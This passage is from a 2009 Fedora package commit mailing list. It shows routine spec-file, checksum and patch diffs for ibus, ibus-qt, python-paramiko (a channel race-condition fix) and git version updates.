-# %package qt
-# Summary:    IBus im module for qt4
-# Group:      System Environment/Libraries
-# Requires:   %{name} = %{version}-%{release}
-# Requires:   qt >= 4.4.2
-# 
-# %description qt
-# This package contains ibus im module for qt4
-
 %package devel
 Summary:    Development tools for ibus
 Group:      Development/Libraries
@@ -203,8 +193,7 @@ fi
 %{_bindir}/ibus-setup
 %{_datadir}/ibus/*
 %{_datadir}/applications/*
-%{_datadir}/pixmaps/*
-%{_datadir}/icons/hicolor/*/status/*
+%{_datadir}/icons/hicolor/*/apps/*
 %{_libexecdir}/ibus-gconf
 %{_libexecdir}/ibus-ui-gtk
 %{_libexecdir}/ibus-x11
@@ -234,6 +223,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.2001014-1
+- Update to 1.2.0.20091014
+
 * Mon Sep 27 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090927-1
 - Update to 1.2.0.20090927
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	27 Sep 2009 07:14:13 -0000	1.50
+++ sources	14 Oct 2009 01:40:03 -0000	1.51
@@ -1 +1 @@
-300bf18ac0a4d3f1364412a52c9e9746  ibus-1.2.0.20090927.tar.gz
+0a4e96462f68b2250327e0fbc969815c  ibus-1.2.0.20091014.tar.gz



From phuang at fedoraproject.org  Wed Oct 14 01:51:44 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Wed, 14 Oct 2009 01:51:44 +0000 (UTC)
Subject: rpms/ibus-qt/F-12 .cvsignore, 1.4, 1.5 ibus-qt.spec, 1.7,
	1.8 sources, 1.5, 1.6
Message-ID: <20091014015144.5FBB211C00E8@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus-qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32220

Modified Files:
	.cvsignore ibus-qt.spec sources 
Log Message:
Update to 1.2.0.20091014


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Aug 2009 05:09:22 -0000	1.4
+++ .cvsignore	14 Oct 2009 01:51:43 -0000	1.5
@@ -1 +1 @@
-ibus-qt-1.2.0.20090822-Source.tar.gz
+ibus-qt-1.2.0.20091014-Source.tar.gz


Index: ibus-qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/F-12/ibus-qt.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ibus-qt.spec	22 Aug 2009 09:49:33 -0000	1.7
+++ ibus-qt.spec	14 Oct 2009 01:51:44 -0000	1.8
@@ -1,6 +1,6 @@
 Name:       ibus-qt
-Version:    1.2.0.20090822
-Release:    2%{?dist}
+Version:    1.2.0.20091014
+Release:    1%{?dist}
 Summary:    Qt IBus library and Qt input method plugin
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -14,7 +14,7 @@ BuildRequires:  qt-devel >= 4.5
 BuildRequires:  dbus-devel >= 1.2
 BuildRequires:  ibus-devel >= 1.2
 BuildRequires:  libicu-devel >= 4.0
-Requires:   ibus >= 1.2
+Requires:   ibus >= 1.2.0.20091014
 
 %description
 Qt IBus library and Qt input method plugin.
@@ -65,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libibus-qt.so
 
 %changelog
+* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20091014-1
+- Update to 1.2.0.20091014.
+
 * Sat Aug 22 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090822-2
 - Update the tarball
 - Link qt immodule with libicu


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	22 Aug 2009 09:49:33 -0000	1.5
+++ sources	14 Oct 2009 01:51:44 -0000	1.6
@@ -1 +1 @@
-15ec039e2a2f92a6c9075b6c10a2dc57  ibus-qt-1.2.0.20090822-Source.tar.gz
+781d3bb431452b6d019a2c1983010bb7  ibus-qt-1.2.0.20091014-Source.tar.gz



From katzj at fedoraproject.org  Wed Oct 14 01:57:55 2009
From: katzj at fedoraproject.org (Jeremy Katz)
Date: Wed, 14 Oct 2009 01:57:55 +0000 (UTC)
Subject: rpms/python-paramiko/devel paramiko-channel-race.patch, NONE,
	1.1 python-paramiko.spec, 1.20, 1.21
Message-ID: <20091014015755.8BC4311C00E8@cvs1.fedora.phx.redhat.com>

Author: katzj

Update of /cvs/pkgs/rpms/python-paramiko/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1918

Modified Files:
	python-paramiko.spec 
Added Files:
	paramiko-channel-race.patch 
Log Message:
* Tue Oct 13 2009 Jeremy Katz <katzj at fedoraproject.org> - 1.7.5-2
- Fix race condition (#526341)


paramiko-channel-race.patch:
 channel.py |   31 +++++++++++++++++++------------
 1 file changed, 19 insertions(+), 12 deletions(-)

--- NEW FILE paramiko-channel-race.patch ---
Index: paramiko/channel.py
===================================================================
--- paramiko/channel.py	(revision 16146)
+++ paramiko/channel.py	(working copy)
@@ -90,6 +90,7 @@
         self.logger = util.get_logger('paramiko.transport')
         self._pipe = None
         self.event = threading.Event()
+        self.event_ready = False
         self.combine_stderr = False
         self.exit_status = -1
         self.origin_addr = None
@@ -152,7 +153,7 @@
         # pixel height, width (usually useless)
         m.add_int(0).add_int(0)
         m.add_string('')
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -179,7 +180,7 @@
         m.add_int(self.remote_chanid)
         m.add_string('shell')
         m.add_boolean(1)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -207,7 +208,7 @@
         m.add_string('exec')
         m.add_boolean(True)
         m.add_string(command)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -234,7 +235,7 @@
         m.add_string('subsystem')
         m.add_boolean(True)
         m.add_string(subsystem)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -261,7 +262,7 @@
         m.add_int(width)
         m.add_int(height)
         m.add_int(0).add_int(0)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -374,7 +375,7 @@
         m.add_string(auth_protocol)
         m.add_string(auth_cookie)
         m.add_int(screen_number)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
         self.transport._set_x11_handler(handler)
@@ -917,9 +918,10 @@
         self.out_max_packet_size = max(max_packet_size, MIN_PACKET_SIZE)
         self.active = 1
         self._log(DEBUG, 'Max packet out: %d bytes' % max_packet_size)
-
+        
     def _request_success(self, m):
         self._log(DEBUG, 'Sesch channel %d request ok' % self.chanid)
+        self.event_ready = True
         self.event.set()
         return
 
@@ -1067,14 +1069,19 @@
     def _log(self, level, msg, *args):
         self.logger.log(level, "[chan " + self._name + "] " + msg, *args)
 
+    def _event_pending(self):
+        self.event.clear()
+        self.event_ready = False
+
     def _wait_for_event(self):
         self.event.wait()
         assert self.event.isSet()
-        if self.closed:
-            e = self.transport.get_exception()
-            if e is None:
-                e = SSHException('Channel closed.')
-            raise e
+        if self.event_ready:
+            return
+        e = self.transport.get_exception()
+        if e is None:
+            e = SSHException('Channel closed.')
+        raise e
 
     def _set_closed(self):
         # you are holding the lock.


Index: python-paramiko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-paramiko/devel/python-paramiko.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- python-paramiko.spec	24 Jul 2009 12:34:12 -0000	1.20
+++ python-paramiko.spec	14 Oct 2009 01:57:55 -0000	1.21
@@ -4,7 +4,7 @@
 
 Name:           python-paramiko
 Version:        1.7.5
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A SSH2 protocol library for python
 
 Group:          Development/Libraries
@@ -12,6 +12,7 @@ Group:          Development/Libraries
 License:        LGPLv2+
 URL:            http://www.lag.net/paramiko/
 Source0:        http://www.lag.net/paramiko/download/%{srcname}-%{version}.tar.gz
+Patch0: 	paramiko-channel-race.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -36,6 +37,7 @@ encrypted tunnel. (This is how sftp work
 
 %prep
 %setup -q -n %{srcname}-%{version}
+%patch0 -p0 -b .race
 %{__chmod} a-x demos/*
 %{__sed} -i -e '/^#!/,1d' demos/* paramiko/rng*
 
@@ -55,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Tue Oct 13 2009 Jeremy Katz <katzj at fedoraproject.org> - 1.7.5-2
+- Fix race condition (#526341)
+
 * Thu Jul 23 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.7.5-1
 - v1.7.5 (Ernest) 19jul09
 - -----------------------



From katzj at fedoraproject.org  Wed Oct 14 02:03:24 2009
From: katzj at fedoraproject.org (Jeremy Katz)
Date: Wed, 14 Oct 2009 02:03:24 +0000 (UTC)
Subject: rpms/python-paramiko/F-12 paramiko-channel-race.patch, NONE,
	1.1 python-paramiko.spec, 1.20, 1.21
Message-ID: <20091014020324.7E3D911C00E8@cvs1.fedora.phx.redhat.com>

Author: katzj

Update of /cvs/pkgs/rpms/python-paramiko/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3588

Modified Files:
	python-paramiko.spec 
Added Files:
	paramiko-channel-race.patch 
Log Message:
* Tue Oct 13 2009 Jeremy Katz <katzj at fedoraproject.org> - 1.7.5-2
- Fix race condition (#526341)


paramiko-channel-race.patch:
 channel.py |   31 +++++++++++++++++++------------
 1 file changed, 19 insertions(+), 12 deletions(-)

--- NEW FILE paramiko-channel-race.patch ---
Index: paramiko/channel.py
===================================================================
--- paramiko/channel.py	(revision 16146)
+++ paramiko/channel.py	(working copy)
@@ -90,6 +90,7 @@
         self.logger = util.get_logger('paramiko.transport')
         self._pipe = None
         self.event = threading.Event()
+        self.event_ready = False
         self.combine_stderr = False
         self.exit_status = -1
         self.origin_addr = None
@@ -152,7 +153,7 @@
         # pixel height, width (usually useless)
         m.add_int(0).add_int(0)
         m.add_string('')
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -179,7 +180,7 @@
         m.add_int(self.remote_chanid)
         m.add_string('shell')
         m.add_boolean(1)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -207,7 +208,7 @@
         m.add_string('exec')
         m.add_boolean(True)
         m.add_string(command)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -234,7 +235,7 @@
         m.add_string('subsystem')
         m.add_boolean(True)
         m.add_string(subsystem)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -261,7 +262,7 @@
         m.add_int(width)
         m.add_int(height)
         m.add_int(0).add_int(0)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -374,7 +375,7 @@
         m.add_string(auth_protocol)
         m.add_string(auth_cookie)
         m.add_int(screen_number)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
         self.transport._set_x11_handler(handler)
@@ -917,9 +918,10 @@
         self.out_max_packet_size = max(max_packet_size, MIN_PACKET_SIZE)
         self.active = 1
         self._log(DEBUG, 'Max packet out: %d bytes' % max_packet_size)
-
+        
     def _request_success(self, m):
         self._log(DEBUG, 'Sesch channel %d request ok' % self.chanid)
+        self.event_ready = True
         self.event.set()
         return
 
@@ -1067,14 +1069,19 @@
     def _log(self, level, msg, *args):
         self.logger.log(level, "[chan " + self._name + "] " + msg, *args)
 
+    def _event_pending(self):
+        self.event.clear()
+        self.event_ready = False
+
     def _wait_for_event(self):
         self.event.wait()
         assert self.event.isSet()
-        if self.closed:
-            e = self.transport.get_exception()
-            if e is None:
-                e = SSHException('Channel closed.')
-            raise e
+        if self.event_ready:
+            return
+        e = self.transport.get_exception()
+        if e is None:
+            e = SSHException('Channel closed.')
+        raise e
 
     def _set_closed(self):
         # you are holding the lock.


Index: python-paramiko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-paramiko/F-12/python-paramiko.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- python-paramiko.spec	24 Jul 2009 12:34:12 -0000	1.20
+++ python-paramiko.spec	14 Oct 2009 02:03:24 -0000	1.21
@@ -4,7 +4,7 @@
 
 Name:           python-paramiko
 Version:        1.7.5
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A SSH2 protocol library for python
 
 Group:          Development/Libraries
@@ -12,6 +12,7 @@ Group:          Development/Libraries
 License:        LGPLv2+
 URL:            http://www.lag.net/paramiko/
 Source0:        http://www.lag.net/paramiko/download/%{srcname}-%{version}.tar.gz
+Patch0: 	paramiko-channel-race.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -36,6 +37,7 @@ encrypted tunnel. (This is how sftp work
 
 %prep
 %setup -q -n %{srcname}-%{version}
+%patch0 -p0 -b .race
 %{__chmod} a-x demos/*
 %{__sed} -i -e '/^#!/,1d' demos/* paramiko/rng*
 
@@ -55,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Tue Oct 13 2009 Jeremy Katz <katzj at fedoraproject.org> - 1.7.5-2
+- Fix race condition (#526341)
+
 * Thu Jul 23 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.7.5-1
 - v1.7.5 (Ernest) 19jul09
 - -----------------------



From katzj at fedoraproject.org  Wed Oct 14 02:04:36 2009
From: katzj at fedoraproject.org (Jeremy Katz)
Date: Wed, 14 Oct 2009 02:04:36 +0000 (UTC)
Subject: rpms/python-paramiko/F-11 paramiko-channel-race.patch, NONE,
	1.1 branch, 1.1, 1.2 python-paramiko.spec, 1.20, 1.21
Message-ID: <20091014020436.8772D11C00E8@cvs1.fedora.phx.redhat.com>

Author: katzj

Update of /cvs/pkgs/rpms/python-paramiko/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3846

Modified Files:
	branch python-paramiko.spec 
Added Files:
	paramiko-channel-race.patch 
Log Message:
* Tue Oct 13 2009 Jeremy Katz <katzj at fedoraproject.org> - 1.7.5-2
- Fix race condition (#526341)


paramiko-channel-race.patch:
 channel.py |   31 +++++++++++++++++++------------
 1 file changed, 19 insertions(+), 12 deletions(-)

--- NEW FILE paramiko-channel-race.patch ---
Index: paramiko/channel.py
===================================================================
--- paramiko/channel.py	(revision 16146)
+++ paramiko/channel.py	(working copy)
@@ -90,6 +90,7 @@
         self.logger = util.get_logger('paramiko.transport')
         self._pipe = None
         self.event = threading.Event()
+        self.event_ready = False
         self.combine_stderr = False
         self.exit_status = -1
         self.origin_addr = None
@@ -152,7 +153,7 @@
         # pixel height, width (usually useless)
         m.add_int(0).add_int(0)
         m.add_string('')
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -179,7 +180,7 @@
         m.add_int(self.remote_chanid)
         m.add_string('shell')
         m.add_boolean(1)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -207,7 +208,7 @@
         m.add_string('exec')
         m.add_boolean(True)
         m.add_string(command)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -234,7 +235,7 @@
         m.add_string('subsystem')
         m.add_boolean(True)
         m.add_string(subsystem)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -261,7 +262,7 @@
         m.add_int(width)
         m.add_int(height)
         m.add_int(0).add_int(0)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
 
@@ -374,7 +375,7 @@
         m.add_string(auth_protocol)
         m.add_string(auth_cookie)
         m.add_int(screen_number)
-        self.event.clear()
+        self._event_pending()
         self.transport._send_user_message(m)
         self._wait_for_event()
         self.transport._set_x11_handler(handler)
@@ -917,9 +918,10 @@
         self.out_max_packet_size = max(max_packet_size, MIN_PACKET_SIZE)
         self.active = 1
         self._log(DEBUG, 'Max packet out: %d bytes' % max_packet_size)
-
+        
     def _request_success(self, m):
         self._log(DEBUG, 'Sesch channel %d request ok' % self.chanid)
+        self.event_ready = True
         self.event.set()
         return
 
@@ -1067,14 +1069,19 @@
     def _log(self, level, msg, *args):
         self.logger.log(level, "[chan " + self._name + "] " + msg, *args)
 
+    def _event_pending(self):
+        self.event.clear()
+        self.event_ready = False
+
     def _wait_for_event(self):
         self.event.wait()
         assert self.event.isSet()
-        if self.closed:
-            e = self.transport.get_exception()
-            if e is None:
-                e = SSHException('Channel closed.')
-            raise e
+        if self.event_ready:
+            return
+        e = self.transport.get_exception()
+        if e is None:
+            e = SSHException('Channel closed.')
+        raise e
 
     def _set_closed(self):
         # you are holding the lock.


Index: branch
===================================================================
RCS file: /cvs/pkgs/rpms/python-paramiko/F-11/branch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- branch	15 Apr 2009 05:36:53 -0000	1.1
+++ branch	14 Oct 2009 02:04:36 -0000	1.2
@@ -1 +1 @@
-F-11
+F-12


Index: python-paramiko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-paramiko/F-11/python-paramiko.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- python-paramiko.spec	30 Jul 2009 13:29:33 -0000	1.20
+++ python-paramiko.spec	14 Oct 2009 02:04:36 -0000	1.21
@@ -4,7 +4,7 @@
 
 Name:           python-paramiko
 Version:        1.7.5
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A SSH2 protocol library for python
 
 Group:          Development/Libraries
@@ -12,6 +12,7 @@ Group:          Development/Libraries
 License:        LGPLv2+
 URL:            http://www.lag.net/paramiko/
 Source0:        http://www.lag.net/paramiko/download/%{srcname}-%{version}.tar.gz
+Patch0: 	paramiko-channel-race.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -36,6 +37,7 @@ encrypted tunnel. (This is how sftp work
 
 %prep
 %setup -q -n %{srcname}-%{version}
+%patch0 -p0 -b .race
 %{__chmod} a-x demos/*
 %{__sed} -i -e '/^#!/,1d' demos/* paramiko/rng*
 
@@ -55,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Tue Oct 13 2009 Jeremy Katz <katzj at fedoraproject.org> - 1.7.5-2
+- Fix race condition (#526341)
+
 * Thu Jul 23 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.7.5-1
 - v1.7.5 (Ernest) 19jul09
 - -----------------------



From katzj at fedoraproject.org  Wed Oct 14 02:16:00 2009
From: katzj at fedoraproject.org (Jeremy Katz)
Date: Wed, 14 Oct 2009 02:16:00 +0000 (UTC)
Subject: rpms/python-paramiko/F-11 branch,1.2,1.3
Message-ID: <20091014021600.72B5111C00E8@cvs1.fedora.phx.redhat.com>

Author: katzj

Update of /cvs/pkgs/rpms/python-paramiko/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5067

Modified Files:
	branch 
Log Message:
too much copy and paste (thanks tmz)


Index: branch
===================================================================
RCS file: /cvs/pkgs/rpms/python-paramiko/F-11/branch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- branch	14 Oct 2009 02:04:36 -0000	1.2
+++ branch	14 Oct 2009 02:15:58 -0000	1.3
@@ -1 +1 @@
-F-12
+F-11



From tmz at fedoraproject.org  Wed Oct 14 02:40:48 2009
From: tmz at fedoraproject.org (Todd M. Zullinger)
Date: Wed, 14 Oct 2009 02:40:48 +0000 (UTC)
Subject: rpms/git/devel .cvsignore, 1.82,
	1.83 git-1.6-update-contrib-hooks-path.patch, 1.1, 1.2 git.spec,
	1.96, 1.97 sources, 1.82, 1.83
Message-ID: <20091014024048.748F311C029E@cvs1.fedora.phx.redhat.com>

Author: tmz

Update of /cvs/pkgs/rpms/git/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8690

Modified Files:
	.cvsignore git-1.6-update-contrib-hooks-path.patch git.spec 
	sources 
Log Message:
Update to git-1.6.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/.cvsignore,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- .cvsignore	28 Sep 2009 15:01:53 -0000	1.82
+++ .cvsignore	14 Oct 2009 02:40:45 -0000	1.83
@@ -1 +1 @@
-git-1.6.5.rc2.tar.bz2
+git-1.6.5.tar.bz2

git-1.6-update-contrib-hooks-path.patch:
 contrib/hooks/post-receive-email     |    6 +++---
 templates/hooks--post-receive.sample |    3 +--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: git-1.6-update-contrib-hooks-path.patch
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/git-1.6-update-contrib-hooks-path.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- git-1.6-update-contrib-hooks-path.patch	28 Jun 2009 23:26:09 -0000	1.1
+++ git-1.6-update-contrib-hooks-path.patch	14 Oct 2009 02:40:45 -0000	1.2
@@ -33,7 +33,7 @@ index 18d2e0f..cf57878 100755
 --- a/templates/hooks--post-receive.sample
 +++ b/templates/hooks--post-receive.sample
 @@ -12,4 +12,4 @@
- # see contrib/hooks/ for an sample, or uncomment the next line and
+ # see contrib/hooks/ for a sample, or uncomment the next line and
  # rename the file to "post-receive".
  
 -#. /usr/share/doc/git-core/contrib/hooks/post-receive-email


Index: git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/git.spec,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- git.spec	28 Sep 2009 15:01:53 -0000	1.96
+++ git.spec	14 Oct 2009 02:40:46 -0000	1.97
@@ -1,13 +1,12 @@
 # Pass --without docs to rpmbuild if you don't want the documentation
-%global snap .rc2
 Name:           git
 Version:        1.6.5
-Release:        0.2%{?snap}%{?dist}
+Release:        1%{?dist}
 Summary:        Fast Version Control System
 License:        GPLv2
 Group:          Development/Tools
 URL:            http://git-scm.com/
-Source0:        http://kernel.org/pub/software/scm/git/%{name}-%{version}%{?snap}.tar.bz2
+Source0:        http://kernel.org/pub/software/scm/git/%{name}-%{version}.tar.bz2
 Source1:        git-init.el
 Source2:        git.xinetd
 Source3:        git.conf.httpd
@@ -187,7 +186,7 @@ Requires:       git = %{version}-%{relea
 %endif
 
 %prep
-%setup -q -n %{name}-%{version}%{?snap}
+%setup -q
 %patch0 -p1
 %patch1 -p1
 %patch2 -p1
@@ -213,7 +212,7 @@ cat << \EOF > %{name}-req
 sed -e '/perl(packed-refs)/d'
 EOF
 
-%global __perl_requires %{_builddir}/%{name}-%{version}%{?snap}/%{name}-req
+%global __perl_requires %{_builddir}/%{name}-%{version}/%{name}-req
 chmod +x %{__perl_requires}
 
 %build
@@ -388,6 +387,9 @@ rm -rf $RPM_BUILD_ROOT
 # No files for you!
 
 %changelog
+* Sun Oct 11 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5-1
+- git-1.6.5
+
 * Mon Sep 28 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5-0.2.rc2
 - git-1.6.5.rc2
 - Enable Linus' block-sha1 implementation


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/sources,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- sources	28 Sep 2009 15:01:54 -0000	1.82
+++ sources	14 Oct 2009 02:40:46 -0000	1.83
@@ -1 +1 @@
-e9cfec47e38232948dc90188927f7782  git-1.6.5.rc2.tar.bz2
+da86c1736c55edb9f446828581137b51  git-1.6.5.tar.bz2



From phuang at fedoraproject.org  Wed Oct 14 03:09:56 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Wed, 14 Oct 2009 03:09:56 +0000 (UTC)
Subject: rpms/ibus/F-12 ibus.spec, 1.93, 1.94 sources, 1.51, 1.52 xinput-ibus,
	1.7, 1.8
Message-ID: <20091014030956.341C711C00E8@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12597

Modified Files:
	ibus.spec sources xinput-ibus 
Log Message:
Update ibus.conf and tarball


Index: ibus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/ibus.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- ibus.spec	14 Oct 2009 01:40:03 -0000	1.93
+++ ibus.spec	14 Oct 2009 03:09:54 -0000	1.94
@@ -8,7 +8,7 @@
 
 Name:       ibus
 Version:    1.2.0.20091014
-Release:    1%{?dist}
+Release:    2%{?dist}
 Summary:    Intelligent Input Bus for Linux OS
 License:    LGPLv2+
 Group:      System Environment/Libraries
@@ -223,8 +223,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
-* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.2001014-1
+* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.2001014-2
 - Update to 1.2.0.20091014
+- Change ICON in ibus.conf 
 
 * Mon Sep 27 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090927-1
 - Update to 1.2.0.20090927


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/sources,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- sources	14 Oct 2009 01:40:03 -0000	1.51
+++ sources	14 Oct 2009 03:09:54 -0000	1.52
@@ -1 +1 @@
-0a4e96462f68b2250327e0fbc969815c  ibus-1.2.0.20091014.tar.gz
+e0525eb65d9a5a34571ac804c595ad24  ibus-1.2.0.20091014.tar.gz


Index: xinput-ibus
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/xinput-ibus,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- xinput-ibus	30 Aug 2009 22:59:56 -0000	1.7
+++ xinput-ibus	14 Oct 2009 03:09:54 -0000	1.8
@@ -1,6 +1,6 @@
 XIM=ibus
 XIM_PROGRAM="/usr/bin/ibus-daemon"
-ICON="/usr/share/pixmaps/ibus.svg"
+ICON="/usr/share/icons/hicolor/scalable/apps/ibus.svg"
 XIM_ARGS="--xim"
 PREFERENCE_PROGRAM=/usr/bin/ibus-setup
 SHORT_DESC="IBus"



From tmz at fedoraproject.org  Wed Oct 14 03:24:09 2009
From: tmz at fedoraproject.org (Todd M. Zullinger)
Date: Wed, 14 Oct 2009 03:24:09 +0000 (UTC)
Subject: rpms/git/F-12 .cvsignore, 1.82,
	1.83 git-1.6-update-contrib-hooks-path.patch, 1.1, 1.2 git.spec,
	1.96, 1.97 sources, 1.82, 1.83
Message-ID: <20091014032409.BCCEF11C00E8@cvs1.fedora.phx.redhat.com>

Author: tmz

Update of /cvs/pkgs/rpms/git/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14826

Modified Files:
	.cvsignore git-1.6-update-contrib-hooks-path.patch git.spec 
	sources 
Log Message:
Update to git-1.6.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/.cvsignore,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- .cvsignore	28 Sep 2009 15:01:53 -0000	1.82
+++ .cvsignore	14 Oct 2009 03:24:09 -0000	1.83
@@ -1 +1 @@
-git-1.6.5.rc2.tar.bz2
+git-1.6.5.tar.bz2

git-1.6-update-contrib-hooks-path.patch:
 contrib/hooks/post-receive-email     |    6 +++---
 templates/hooks--post-receive.sample |    3 +--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: git-1.6-update-contrib-hooks-path.patch
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/git-1.6-update-contrib-hooks-path.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- git-1.6-update-contrib-hooks-path.patch	28 Jun 2009 23:26:09 -0000	1.1
+++ git-1.6-update-contrib-hooks-path.patch	14 Oct 2009 03:24:09 -0000	1.2
@@ -33,7 +33,7 @@ index 18d2e0f..cf57878 100755
 --- a/templates/hooks--post-receive.sample
 +++ b/templates/hooks--post-receive.sample
 @@ -12,4 +12,4 @@
- # see contrib/hooks/ for an sample, or uncomment the next line and
+ # see contrib/hooks/ for a sample, or uncomment the next line and
  # rename the file to "post-receive".
  
 -#. /usr/share/doc/git-core/contrib/hooks/post-receive-email


Index: git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/git.spec,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- git.spec	28 Sep 2009 15:01:53 -0000	1.96
+++ git.spec	14 Oct 2009 03:24:09 -0000	1.97
